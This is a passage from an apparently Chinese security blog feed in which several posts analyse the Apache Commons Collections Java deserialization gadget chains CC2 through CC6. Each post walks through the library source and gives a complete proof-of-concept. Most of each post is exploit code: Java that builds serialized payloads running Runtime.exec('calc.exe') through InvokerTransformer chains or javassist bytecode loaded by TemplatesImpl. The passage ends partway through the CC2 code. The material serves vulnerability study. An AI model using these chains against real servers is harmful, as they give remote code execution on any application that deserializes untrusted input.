import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;

public class CommonCollections6 {
    public static void main(String[] args) throws NoSuchFieldException, IllegalAccessException, IOException, ClassNotFoundException {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer(&quot;getMethod&quot;,new Class[]{String.class,Class[].class}, new Object[]{&quot;getRuntime&quot;,null}),
                new InvokerTransformer(&quot;invoke&quot;,new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
                new InvokerTransformer(&quot;exec&quot;, new Class[]{String.class}, new Object[]{&quot;calc.exe&quot;})
        };

        Transformer chainedTransformer = new ChainedTransformer(transformers);
        //LazyMap传入的值需要一个map类型，因此用HashMap
        HashMap&lt;Object, Object&gt; innerMap = new HashMap&lt;&gt;();
        Map outterMap = LazyMap.decorate(innerMap, new ConstantTransformer(1));

        TiedMapEntry tiedMapEntry = new TiedMapEntry(outterMap, &quot;aaa&quot;);
        //HashMap版本写法
//        HashMap&lt;Object, Object&gt; map = new HashMap&lt;&gt;();
//        map.put(tiedMapEntry,&quot;bbb&quot;);
        //HashSet版本写法
        HashSet hashSet = new HashSet();
        hashSet.add(tiedMapEntry);
        outterMap.remove(&quot;aaa&quot;);

        Class c = LazyMap.class;
        Field factory = c.getDeclaredField(&quot;factory&quot;);
        factory.setAccessible(true);
        factory.set(outterMap,chainedTransformer);
//        mySeriable(hashSet);
        myDeseriable();

    }
    public static void mySeriable(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(&quot;ser6.bin&quot;));
        oos.writeObject(obj);
    }

    public static Object myDeseriable() throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(&quot;ser6.bin&quot;));
        return ois.readObject();
    }

}
</code></pre>
<h2 id="参考资料">参考资料</h2>
<p>https://www.anquanke.com/post/id/233410#h2-7<br>
https://blog.csdn.net/qq_35733751/article/details/119077706<br>
https://cdmana.com/2022/03/202203130641446748.html</p>
]]></content>
    </entry>
    <entry>
        <title type="html"><![CDATA[【Java反序列化】CommonCollections5利用链]]></title>
        <id>https://limpid94.github.io/post/a/</id>
        <link href="https://limpid94.github.io/post/a/">
        </link>
        <updated>2022-04-06T06:55:49.000Z</updated>
        <content type="html"><![CDATA[<h2 id="调用链">调用链</h2>
<pre><code>	Gadget chain:
        ObjectInputStream.readObject()
            BadAttributeValueExpException.readObject()
                TiedMapEntry.toString()
                    LazyMap.get()
                        ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Class.getMethod()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.getRuntime()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.exec()
</code></pre>
<h2 id="差异点">差异点</h2>
<p>CC5和CC1很相似，但是由于高版本的JDK对<code>AnnotationInvocationHandler</code>的<code>readObject</code>方法进行重写，因此将调用<code>LazyMap</code>的<code>get()</code>改成<code>TiedMapEntry</code>的<code>toString()</code>。为了方便调用<code>TiedMapEntry#toString()</code>，将入口点也换成<code>BadAttributeValueExpException</code>。</p>
<h3 id="tiedmapentry">TiedMapEntry</h3>
<p>在该类的<code>getValue()</code>中调用了<code>get()</code>，而且<code>map</code>和<code>key</code>都在初始化时进行赋值（即参数可控）。</p>
<pre><code class="language-java">    public TiedMapEntry(Map map, Object key) {
        super();
        this.map = map;
        this.key = key;
    }

    public Object getValue() {
        return map.get(key);
    }
</code></pre>
<p>紧接着在该类的<code>toString()</code>中调用了<code>getValue()</code>。此时如果能找到一个类既重写<code>readObject()</code>又在该方法中直接调用了<code>toString()</code>就能构成一条完整的利用链。<br>
经过查找找到<code>BadAttributeValueExpException</code>满足条件。<br>
<img src="https://limpid94.github.io/post-images/1649239982286.png" alt="" loading="lazy"></p>
<h2 id="badattributevalueexpexception">BadAttributeValueExpException</h2>
<p>先看其<code>readObject()</code>，其内部直接调用<code>toString()</code></p>
<pre><code class="language-java">    private void readObject(ObjectInputStream ois) throws IOException, ClassNotFoundException {
        ObjectInputStream.GetField gf = ois.readFields();
        Object valObj = gf.get(&quot;val&quot;, null);

        if (valObj == null) {
            val = null;
        } else if (valObj instanceof String) {
            val= valObj;
        } else if (System.getSecurityManager() == null
                || valObj instanceof Long
                || valObj instanceof Integer
                || valObj instanceof Float
                || valObj instanceof Double
                || valObj instanceof Byte
                || valObj instanceof Short
                || valObj instanceof Boolean) {
            val = valObj.toString();
        } else { // the serialized object is from a version without JDK-8019292 fix
            val = System.identityHashCode(valObj) + &quot;@&quot; + valObj.getClass().getName();
        }
    }
</code></pre>
<p>但是在构造的时候需要注意其构造函数：</p>
<pre><code class="language-java">    public BadAttributeValueExpException (Object val) {
        this.val = val == null ? null : val.toString();
    }
</code></pre>
<p>在赋值时会先判断传入的是否为<code>null</code>，不是就直接调用<code>toString()</code>，直接触发利用链。因此在初始化时 需要先传入null，然后再用反射来修改<code>val</code>的值</p>
<h2 id="poc">POC</h2>
<pre><code class="language-java">package cc.commonscollections;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CommonCollections5 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer(&quot;getMethod&quot;,new Class[]{String.class,Class[].class}, new Object[]{&quot;getRuntime&quot;,null}),
                new InvokerTransformer(&quot;invoke&quot;,new Class[]{Object.class,Object[].class}, new Object[]{null,null}),
                new InvokerTransformer(&quot;exec&quot;,
                        new Class[]{String.class},
                        new Object[]{&quot;calc.exe&quot;}
                )
        };
        Transformer chainedTransformer = new ChainedTransformer(transformers);
        Map innerMap = new HashMap();
        Map outterMap = LazyMap.decorate(innerMap,chainedTransformer);
        //需要调用lazymap的get()
        TiedMapEntry tiedMapEntry = new TiedMapEntry(outterMap, &quot;bbb&quot;);
        BadAttributeValueExpException bad = new BadAttributeValueExpException(null);
        Field badField = bad.getClass().getDeclaredField(&quot;val&quot;);
        badField.setAccessible(true);
        badField.set(bad,tiedMapEntry);
//        mySeriable(bad);
        myDeseriable(&quot;ser5.bin&quot;);
    }

    public static void mySeriable(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(&quot;ser5.bin&quot;));
        oos.writeObject(obj);
        oos.close();
    }

    public static Object myDeseriable(String s) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(s));
        return ois.readObject();
    }
}

</code></pre>
<h2 id="参考资料">参考资料</h2>
<p>https://www.anquanke.com/post/id/233410#h3-5<br>
https://blog.csdn.net/qq_35733751/article/details/119077706<br>
https://blog.weik1.top/2021/03/02/CommonCollections2-7%E5%88%A9%E7%94%A8%E9%93%BE%E5%88%86%E6%9E%90%E5%88%86%E6%9E%90/#CommonCollections5</p>
]]></content>
    </entry>
    <entry>
        <title type="html"><![CDATA[【Java反序列化】CommonCollections4利用链]]></title>
        <id>https://limpid94.github.io/post/java-fan-xu-lie-hua-commoncollections4-li-yong-lian/</id>
        <link href="https://limpid94.github.io/post/java-fan-xu-lie-hua-commoncollections4-li-yong-lian/">
        </link>
        <updated>2022-04-05T16:36:57.000Z</updated>
        <content type="html"><![CDATA[<h2 id="调用链">调用链</h2>
<pre><code>Gadget chain:
    ObjectInputStream.readObject()
        PriorityQueue.readObject()
        ...
            ChainedTransformer.transform()
                ConstantTransformer.transform()
                    InstantiateTransformer.transform()
                        TrAXFilter.TrAXFilter()
                            ...
                                exec()
</code></pre>
<p>CC4采用的命令执行部分同CC2、CC3，而触发部分还是和CC2的结构相类似。<br>
CC4采用<code>ChainedTransformer+TransformingComparator</code>，而CC2采用<code>InvokerTransformer+TransformingComparator</code>，这算是细微的差别吧。</p>
<p>【借用 https://www.anquanke.com/post/id/233393#h2-7 的图】<br>
<img src="https://limpid94.github.io/post-images/1649227036444.png" alt="" loading="lazy"></p>
<h2 id="poc">POC</h2>
<pre><code class="language-java">package cc.commonscollections;

import com.sun.corba.se.impl.orbutil.closure.Constant;
import com.sun.net.httpserver.Filter;
import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;
import org.apache.commons.collections4.Transformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.util.PriorityQueue;

public class CommonCollections4 {
    public static void main(String[] args) throws Exception {
        //获取默认类池
        ClassPool pool = ClassPool.getDefault();
        //添加路径
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        //创建新类
        CtClass evil = pool.makeClass(&quot;Evil&quot;);
        //设置类名
        evil.setName(&quot;MyEvil&quot;);
        //设置要继承的类
        evil.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        //创建空的构造函数
        CtConstructor newconstructor = evil.makeClassInitializer();
        //将字节码插入开头
        newconstructor.insertBefore(&quot;java.lang.Runtime.getRuntime().exec(\&quot;calc.exe\&quot;);&quot;);
        evil.writeFile();

        byte[] bytecode = evil.toBytecode();
        byte[][] bytecodes = {bytecode};

        TemplatesImpl templates = new TemplatesImpl();
        Class templatesClass = templates.getClass();
        Field nameField = templatesClass.getDeclaredField(&quot;_name&quot;);
        nameField.setAccessible(true);
        nameField.set(templates,&quot;aaa&quot;);

        Field bytecodesField = templatesClass.getDeclaredField(&quot;_bytecodes&quot;);
        bytecodesField.setAccessible(true);
        bytecodesField.set(templates,bytecodes);

        Field tfactoryField = templatesClass.getDeclaredField(&quot;_tfactory&quot;);
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());
        //++++++++++++++++++++++++++++++++代码执行部分结束+++++++++++++++++++++++++++++++++++++

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(
                        new Class[]{Templates.class},
                        new Object[]{templates}
                )
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        TransformingComparator comparator = new TransformingComparator(new ConstantTransformer(1));
        PriorityQueue&lt;Object&gt; queue = new PriorityQueue&lt;&gt;(2,comparator);
        queue.add(templates);
        queue.add(&quot;hahaha&quot;);

        Field cField = comparator.getClass().getDeclaredField(&quot;transformer&quot;);
        cField.setAccessible(true);
        cField.set(comparator ,chainedTransformer);
//        mySeriable(queue);
        myDeseriable(&quot;ser4.bin&quot;);
    }

    public static void mySeriable(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(&quot;ser4.bin&quot;));
        oos.writeObject(obj);
        oos.close();
    }

    public static Object myDeseriable(String s) throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(s));
        return ois.readObject();
    }
}

</code></pre>
<h2 id="参考材料">参考材料</h2>
<p>https://www.anquanke.com/post/id/233393#h2-7<br>
http://myblog.ac.cn/archives/java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8Bcommoncollections4%E5%88%A9%E7%94%A8%E9%93%BE<br>
https://blog.weik1.top/2021/03/02/CommonCollections2-7%E5%88%A9%E7%94%A8%E9%93%BE%E5%88%86%E6%9E%90%E5%88%86%E6%9E%90/#CommonCollections4</p>
]]></content>
    </entry>
    <entry>
        <title type="html"><![CDATA[【Java反序列化】CommonCollections3利用链]]></title>
        <id>https://limpid94.github.io/post/java-fan-xu-lie-hua-commoncollections3-li-yong-lian/</id>
        <link href="https://limpid94.github.io/post/java-fan-xu-lie-hua-commoncollections3-li-yong-lian/">
        </link>
        <updated>2022-04-03T07:16:28.000Z</updated>
        <content type="html"><![CDATA[<h2 id="调用链">调用链</h2>
<pre><code> ObjectInputStream.readObject()
    AnnotationInvocationHandler.readObject()
        Map(Proxy).entrySet()
            AnnotationInvocationHandler.invoke()
                LazyMap.get()
                    ChainedTransformer.transform()
                        ConstantTransformer.transform()
                        InstantiateTransformer.transform()
                            new TrAXFilter()
                                TemplatesImpl.newInstance()
                                    ... template gadge
</code></pre>
<h2 id="与cc2的区别">与CC2的区别</h2>
<p>CC2使用的<code>PriorityQueue</code>作为序列化的入口，并且用的是<code>InvokerTransformer+TransformingComparator</code>作为链接命令执行的中间桥梁。<br>
而CC3中间连接命令采用<code>TrAXFilter+ChainedTransformer+InstantiateTransformer</code>，入口点和CC1的相似。</p>
<h2 id="利用链分析">利用链分析</h2>
<p><code>TemplatesImpl.newInstance()</code>往下到加载恶意类的方法同CC2，不再赘诉。在调用<code>newTransformer()</code>方面，CC3引入<code>com.sun.org.apache.xalan.internal.xsltc.trax</code>的<code>TrAXFilter</code>类。<br>
该类的构造方法中调用了<code>TransformerImpl</code>的<code>newTransformer()</code></p>
<pre><code class="language-java">    public TrAXFilter(Templates templates)  throws
        TransformerConfigurationException
    {
        _templates = templates;
        _transformer = (TransformerImpl) templates.newTransformer();
        _transformerHandler = new TransformerHandlerImpl(_transformer);
        _useServicesMechanism = _transformer.useServicesMechnism();
    }
</code></pre>
<p>由于<code>TrAXFilter</code>类没有继承序列化接口，因此无法完成序列化操作。此时可以回想CC1在面对Runtime类无法序列化的解决办法，可以利通过<code>ConstantTransformer</code>类的<code>transform</code>方法获取一个对象类型然后再反射调用即可。但是这里为了在某些场景下突破对InvokerTransformer的限制，采用了一个类似的类—— InstantiateTransformer类.<br>
InstantiateTransformer类的构造方法传入要反射调用的方法的参数类型和参数值：</p>
<pre><code class="language-java">    public InstantiateTransformer(Class[] paramTypes, Object[] args) {
        super();
        iParamTypes = paramTypes;
        iArgs = args;
    }
</code></pre>
<p>随后在<code>transform()</code>中调用<code>getConstructor()</code>来调用我们希望调用的类的构造方法。</p>
<pre><code class="language-java">    public Object transform(Object input) {
        try {
            if (input instanceof Class == false) {
                throw new FunctorException(
                    &quot;InstantiateTransformer: Input object was not an instanceof Class, it was a &quot;
                        + (input == null ? &quot;null object&quot; : input.getClass().getName()));
            }
            Constructor con = ((Class) input).getConstructor(iParamTypes);
            return con.newInstance(iArgs);

        } catch (NoSuchMethodException ex) {
                ......（无关代码省略）
        }
    }
</code></pre>
<p>最后再用<code>ChainedTransformer</code>将其串起来，得到如下代码：</p>
<pre><code class="language-java">        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(
                        new Class[]{Templates.class},
                        new Object[]{templates}
                )
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
</code></pre>
<p>余下的部分同CC1的LazyMap部分，也不再赘诉。</p>
<h2 id="poc">POC</h2>
<pre><code class="language-java">package cc.commonscollections;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.ClassClassPath;
import javassist.ClassPool;
import javassist.CtClass;
import javassist.CtConstructor;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InstantiateTransformer;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.map.LazyMap;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Constructor;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;

public class CommonCollections3 {
    public static void main(String[] args) throws Exception {
        //获取默认类池
        ClassPool pool = ClassPool.getDefault();
        //添加路径
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        //创建新类
        CtClass evil = pool.makeClass(&quot;Evil&quot;);
        //设置类名
        evil.setName(&quot;MyEvil&quot;);
        //设置要继承的类
        evil.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        //创建空的构造函数
        CtConstructor newconstructor = evil.makeClassInitializer();
        //将字节码插入开头
        newconstructor.insertBefore(&quot;java.lang.Runtime.getRuntime().exec(\&quot;calc.exe\&quot;);&quot;);
        evil.writeFile();

        byte[] bytecode = evil.toBytecode();
        byte[][] bytecodes = {bytecode};

        TemplatesImpl templates = new TemplatesImpl();
        Class templatesClass = templates.getClass();
        Field nameField = templatesClass.getDeclaredField(&quot;_name&quot;);
        nameField.setAccessible(true);
        nameField.set(templates,&quot;aaa&quot;);

        Field bytecodesField = templatesClass.getDeclaredField(&quot;_bytecodes&quot;);
        bytecodesField.setAccessible(true);
        bytecodesField.set(templates,bytecodes);

        Field tfactoryField = templatesClass.getDeclaredField(&quot;_tfactory&quot;);
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());

        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(TrAXFilter.class),
                new InstantiateTransformer(
                        new Class[]{Templates.class},
                        new Object[]{templates}
                )
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap innerMap = new HashMap();
        Map outterMap = LazyMap.decorate(innerMap, chainedTransformer);

        Class c = Class.forName(&quot;sun.reflect.annotation.AnnotationInvocationHandler&quot;);
        Constructor constructor = c.getDeclaredConstructor(Class.class, Map.class);
        constructor.setAccessible(true);
        InvocationHandler invocationHandler = (InvocationHandler) constructor.newInstance(Override.class, outterMap);

        Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(),new Class[]{Map.class},  invocationHandler);

        Object o = constructor.newInstance(Override.class, mapProxy);

//        mySeriable(o);
        myDeseriable();

    }

    public static void mySeriable(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream(&quot;ser3.bin&quot;));
        oos.writeObject(obj);
    }

    public static Object myDeseriable() throws IOException, ClassNotFoundException {
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(&quot;ser3.bin&quot;));
        return ois.readObject();
    }
}
</code></pre>
<h2 id="参考材料">参考材料</h2>
<p>https://www.programminghunter.com/article/30702056451/<br>
https://blog.weik1.top/2021/03/02/CommonCollections2-7%E5%88%A9%E7%94%A8%E9%93%BE%E5%88%86%E6%9E%90%E5%88%86%E6%9E%90/#CommonCollections3<br>
https://www.anquanke.com/post/id/233393#h2-3<br>
https://chenlvtang.top/2021/12/17/Java%E5%8F%8D%E5%BA%8F%E5%88%97%E5%8C%96%E4%B9%8BCC3/<br>
https://paper.seebug.org/1656/#commons-collections3</p>
]]></content>
    </entry>
    <entry>
        <title type="html"><![CDATA[【Java反序列化】CommonCollections2利用链]]></title>
        <id>https://limpid94.github.io/post/java-fan-xu-lie-hua-commoncollections2-li-yong-lian/</id>
        <link href="https://limpid94.github.io/post/java-fan-xu-lie-hua-commoncollections2-li-yong-lian/">
        </link>
        <updated>2022-03-29T08:10:21.000Z</updated>
        <content type="html"><![CDATA[<h2 id="相关知识点">相关知识点</h2>
<h2 id="反序列化链分析">反序列化链分析</h2>
<p>CC2的链条与CC1最关键的不同是CC2采用动态加载字节码的方式来达到代码执行的目的。<br>
动态类加载最终会用到ClassLoader中的defineClass方法。通过对调用了ClassLoader中的几个重载的defineClass方法进行审计，发现<code>com/sun/org/apache/xalan/internal/xsltc/trax/TemplatesImpl.java</code>中的<code>defineClass</code>方法，该方法不仅调用了<code>ClassLoader#defineClass</code>并且没有指定作用域:</p>
<pre><code class="language-java">Class defineClass(final byte[] b) {
      return defineClass(null, b, 0, b.length);
}
</code></pre>
<p>对其查找用法，发现在<code>getTransletInstance</code>方法中有调用</p>
<pre><code class="language-java">    private Translet getTransletInstance()
        throws TransformerConfigurationException {
        try {
            if (_name == null) return null;

            if (_class == null) defineTransletClasses();

            // The translet needs to keep a reference to all its auxiliary
            // class to prevent the GC from collecting them
            AbstractTranslet translet = (AbstractTranslet) _class[_transletIndex].newInstance();
            translet.postInitialization();
            translet.setTemplates(this);
            translet.setServicesMechnism(_useServicesMechanism);
            translet.setAllowedProtocols(_accessExternalStylesheet);
            if (_auxClasses != null) {
                translet.setAuxiliaryClasses(_auxClasses);
            }

            return translet;
        }
        catch (InstantiationException e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
        catch (IllegalAccessException e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
    }
</code></pre>
<p>在该方法中为了触发<code>defineTransletClasses</code>方法需要满足两个条件<code>_name</code>不能为空、并且<code>_class</code>为空。再追入<code>defineTransletClasses</code>方法</p>
<pre><code class="language-java">    private void defineTransletClasses()
        throws TransformerConfigurationException {

        if (_bytecodes == null) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.NO_TRANSLET_CLASS_ERR);
            throw new TransformerConfigurationException(err.toString());
        }

        TransletClassLoader loader = (TransletClassLoader)
            AccessController.doPrivileged(new PrivilegedAction() {
                public Object run() {
                    return new TransletClassLoader(ObjectFactory.findClassLoader(),_tfactory.getExternalExtensionsMap());
                }
            });

        try {
            final int classCount = _bytecodes.length;
            _class = new Class[classCount];

            if (classCount &gt; 1) {
                _auxClasses = new HashMap&lt;&gt;();
            }

            for (int i = 0; i &lt; classCount; i++) {
                _class[i] = loader.defineClass(_bytecodes[i]);
                final Class superClass = _class[i].getSuperclass();

                // Check if this is the main class
                if (superClass.getName().equals(ABSTRACT_TRANSLET)) {
                    _transletIndex = i;
                }
                else {
                    _auxClasses.put(_class[i].getName(), _class[i]);
                }
            }

            if (_transletIndex &lt; 0) {
                ErrorMsg err= new ErrorMsg(ErrorMsg.NO_MAIN_TRANSLET_ERR, _name);
                throw new TransformerConfigurationException(err.toString());
            }
        }
        catch (ClassFormatError e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_CLASS_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
        catch (LinkageError e) {
            ErrorMsg err = new ErrorMsg(ErrorMsg.TRANSLET_OBJECT_ERR, _name);
            throw new TransformerConfigurationException(err.toString());
        }
    }
</code></pre>
<p>从代码可以看到<code>_bytecodes</code>不能为空，否则报错。若其不为空则实例化<code>TransletClassLoader</code>并返回。这其中需要传入<code>_tfactory.getExternalExtensionsMap()</code>因此不能为空。查看其具体类型：<br>
<img src="https://limpid94.github.io/post-images/1648627660697.png" alt="" loading="lazy"><br>
值得注意的是<code>_tfactory</code>被<code>transient</code>修饰，即序列化时不带上该值，因此反序列化时从反序列化数据中读不到。继续查找，发现再readObject方法中进行初始化：<br>
<img src="https://limpid94.github.io/post-images/1648628430347.png" alt="" loading="lazy"><br>
因此构造EXP时直接用反射修改其内容即可。</p>
<pre><code class="language-java">        Field tfactoryField = templatesClass.getDeclaredField(&quot;_tfactory&quot;);
        tfactoryField.setAccessible(true);
        tfactoryField.set(templates,new TransformerFactoryImpl());
</code></pre>
<p>以上代码完成了类加载并执行代码的功能，接下来需要知道如何将反序列化的入口点和命令执行的点链接起来。<br>
这里依旧是用<code>InvokerTransformer#transform</code>方法来反射调用。</p>
<pre><code class="language-java">InvokerTransformer invokerTransformer = new InvokerTransformer(&quot;newTransformer&quot;, new Class[]{}, new Object[]{});
</code></pre>
<p>然后谁来调用<code>InvokerTransformer</code>的<code>transform</code>呢？CC1使用了<code>ChainedTransformer</code>来调用。而CC2则是用<code>TransformingComparator</code>来调用<code>transform</code>。应为在其<code>compare</code>方法中调用了<code>transform</code>方法：</p>
<pre><code class="language-java">    /**
     * Returns the result of comparing the values from the transform operation.
     * 
     * @param obj1  the first object to transform then compare
     * @param obj2  the second object to transform then compare
     * @return negative if obj1 is less, positive if greater, zero if equal
     */
    public int compare(Object obj1, Object obj2) {
        Object value1 = this.transformer.transform(obj1);
        Object value2 = this.transformer.transform(obj2);
        return this.decorated.compare(value1, value2);
    }
</code></pre>
<p>而<code>transformer</code>可控，会在构造方法中赋值：</p>
<pre><code class="language-java">    public TransformingComparator(Transformer transformer, Comparator decorated) {
        this.decorated = decorated;
        this.transformer = transformer;
    }
</code></pre>
<h3 id="priorityqueue">PriorityQueue</h3>
<p>为了能够调用<code>compare</code>方法，Ysoserial给出了PriorityQueue类。</p>
<blockquote>
<p>PriorityQueue（优先队列），和普通的queue的差别就在于，它不是简单的先进先出，它的每个元素都有一个自己的“优先级”。每次出列的时候，不再是最先进的先出，而是优先级最高的先出。</p>
</blockquote>
<p>通过搜素关键字<code>compare</code>得知一共有2个方法调用到——<code>siftUpUsingComparator()</code>和<code>siftDownUsingComparator()</code>。<br>
之所以使用<code>siftDownUsingComparator()</code>是因为其被<code>siftDown()</code>所调用：</p>
<pre><code class="language-java">    private void siftDown(int k, E x) {
        if (comparator != null)
            siftDownUsingComparator(k, x);
        else
            siftDownComparable(k, x);
    }
</code></pre>
<p>而<code>siftDown()</code>被<code>heapify()</code>调用，后者直接被<code>readObject()</code>调用：</p>
<pre><code class="language-java">    private void readObject(java.io.ObjectInputStream s)
        throws java.io.IOException, ClassNotFoundException {
        // Read in size, and any hidden stuff
        s.defaultReadObject();

        // Read in (and discard) array length
        s.readInt();

        queue = new Object[size];

        // Read in all elements.
        for (int i = 0; i &lt; size; i++)
            queue[i] = s.readObject();

        // Elements are guaranteed to be in &quot;proper order&quot;, but the
        // spec has never explained what that might be.
        heapify();
    }
</code></pre>
<p>在<code>siftDown()</code>中为了能进入<code>siftDownUsingComparator</code>分支，需要让<code>comparator</code>不为空。在该类中查找发现<code>comparator</code>在构造函数中赋值：</p>
<pre><code class="language-java">    public PriorityQueue(Comparator&lt;? super E&gt; comparator) {
        this(DEFAULT_INITIAL_CAPACITY, comparator);
    }
    ...

    public PriorityQueue(int initialCapacity,
                         Comparator&lt;? super E&gt; comparator) {
        // Note: This restriction of at least one is not actually needed,
        // but continues for 1.5 compatibility
        if (initialCapacity &lt; 1)
            throw new IllegalArgumentException();
        this.queue = new Object[initialCapacity];
        this.comparator = comparator;
    }    
</code></pre>
<p>因此在初始化的时候可以传入TransformingComparator，同时为了触发比较，还要满足<code>for (int i = (size &gt;&gt;&gt; 1) - 1; i &gt;= 0; i--)</code>因此需要添加2个元素进去。</p>
<pre><code class="language-java">        PriorityQueue priorityQueue = new PriorityQueue(transformingComparator);
        priorityQueue.add(templates);
        priorityQueue.add(2);
</code></pre>
<p>为了避免其在序列化时就产生命令执行，这里需要给<code>TransformingComparator</code>先初始化成其他的类，比如<code>new ConstantTransformer(1)</code>，然后再用反射去获取<code>transformer</code>的值然后修改成<code>invokerTransformer</code>。</p>
<pre><code class="language-java">        Field tField = transformingComparator.getClass().getDeclaredField(&quot;transformer&quot;);
        tField.setAccessible(true);
        tField.set(transformingComparator,invokerTransformer);
</code></pre>
<h2 id="poc">POC</h2>
<pre><code class="language-java">package cc.commonscollections;

import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet;
import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TransformerFactoryImpl;
import javassist.*;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import javax.xml.transform.TransformerConfigurationException;
import java.io.*;
import java.lang.reflect.Field;
import java.lang.reflect.InvocationTargetException;
import java.util.Comparator;
import java.util.PriorityQueue;

public class CommonCollections2 {
    public static void main(String[] args) throws NotFoundException, CannotCompileException, IOException, ClassNotFoundException, NoSuchMethodException, InvocationTargetException, IllegalAccessException, InstantiationException, NoSuchFieldException, TransformerConfigurationException {
        //构造.class字节流程
        //获取默认类池
        ClassPool pool = ClassPool.getDefault();
        //添加路径
        pool.insertClassPath(new ClassClassPath(AbstractTranslet.class));
        //创建新类
        CtClass evil = pool.makeClass(&quot;Evil&quot;);
        //设置类名
        evil.setName(&quot;MyEvil&quot;);
        //设置要继承的类
        evil.setSuperclass(pool.get(AbstractTranslet.class.getName()));
        //创建空的构造函数
        CtConstructor newconstructor = evil.makeClassInitializer();
        //将字节码插入开头
        newconstructor.insertBefore(&quot;java.lang.Runtime.getRuntime().exec(\&quot;calc.exe\&quot;);&quot;);
        evil.writeFile();

        byte[] bytecode = evil.toBytecode();
        byte[][] bytecodes = {bytecode};
//        Class&lt;?&gt; clas = Class.forName(&quot;java.lang.ClassLoader&quot;);
//        Method defineClass = clas.getDeclaredMethod(&quot;defineClass&quot;, String.class, Byte[].class, int.class, int.class);
//        defineClass.setAccessible(true);
//        Class clz = (Class) defineClass.invoke(ClassLoader.getSystemClassLoader(), &quot;Evil&quot;, bytecode, 0, bytecode.length);
//        clz.newInstance();
        //实例化TemplatesImpl
        TemplatesImpl templates = new TemplatesImpl();
        Class templatesClass = templates.getClass();
        Field nameField = templatesClass.getDeclaredField(&quot;_name&quot;);
        nameField.setAccessible(true);
        nameField.set(templates,&quot;aaa&quot;);

        Field bytecodesField = templatesClass.getDeclaredField(&quot;_bytecodes&quot;);
